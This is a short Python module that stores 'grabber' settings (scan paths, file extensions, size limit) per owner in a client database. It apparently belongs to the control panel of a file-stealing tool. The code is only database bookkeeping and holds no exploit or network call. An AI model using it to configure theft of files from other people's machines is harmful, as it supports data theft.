65 lines
2.2 KiB
Python
65 lines
2.2 KiB
Python
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
# Coded by [email protected]
|
|
|
|
# Import modules
|
|
from json import loads, dumps
|
|
# Import packages
|
|
from core.models.accounts import clients_db
|
|
|
|
""" Save grabber rules """
|
|
def _SaveGrabberRules(owner: str, paths: list, extensions: list, max_size: int = 2097152):
|
|
clients_db.execute(
|
|
sql="UPDATE grabber SET scan_paths = ?, extensions = ?, max_size = ? WHERE owner = ?",
|
|
values=[dumps(paths), dumps(extensions), max_size, owner],
|
|
commit_changes=True
|
|
)
|
|
|
|
""" Get grabber rules """
|
|
def GetGrabberRules(owner: str) -> dict:
|
|
response = clients_db.execute(
|
|
sql="SELECT scan_paths, extensions, max_size FROM grabber WHERE owner = ?",
|
|
values=[owner],
|
|
commit_changes=False
|
|
)
|
|
# Return nothing if user not found
|
|
if len(response) == 0:
|
|
return {
|
|
"paths": [],
|
|
"extensions": [],
|
|
"max_size": 0
|
|
}
|
|
# Return grabber settings
|
|
return {
|
|
"paths": loads(response[0][0]),
|
|
"extensions": loads(response[0][1]),
|
|
"max_size": response[0][2]
|
|
}
|
|
|
|
""" Delete scan path from grabber """
|
|
def DeleteGrabberPath(owner: str, value: str):
|
|
rules = GetGrabberRules(owner)
|
|
scan_paths = rules["paths"]
|
|
# Delete item
|
|
for i, v in enumerate(scan_paths):
|
|
if v == value: scan_paths.pop(i)
|
|
# Save
|
|
_SaveGrabberRules(owner, scan_paths, rules["extensions"], rules["max_size"])
|
|
|
|
""" Append new value to grabber paths """
|
|
def AddGrabberPath(owner: str, value: str):
|
|
rules = GetGrabberRules(owner)
|
|
scan_paths = rules["paths"]
|
|
scan_paths.append(value)
|
|
_SaveGrabberRules(owner, scan_paths, rules["extensions"], rules["max_size"])
|
|
|
|
""" Save grabber extensions list """
|
|
def SetGrabberExtensions(owner: str, values: list):
|
|
rules = GetGrabberRules(owner)
|
|
_SaveGrabberRules(owner, rules["paths"], values, rules["max_size"])
|
|
|
|
""" Save grabber extensions list """
|
|
def SetGrabberMaxSize(owner: str, size: int):
|
|
rules = GetGrabberRules(owner)
|
|
_SaveGrabberRules(owner, rules["paths"], rules["extensions"], size)
|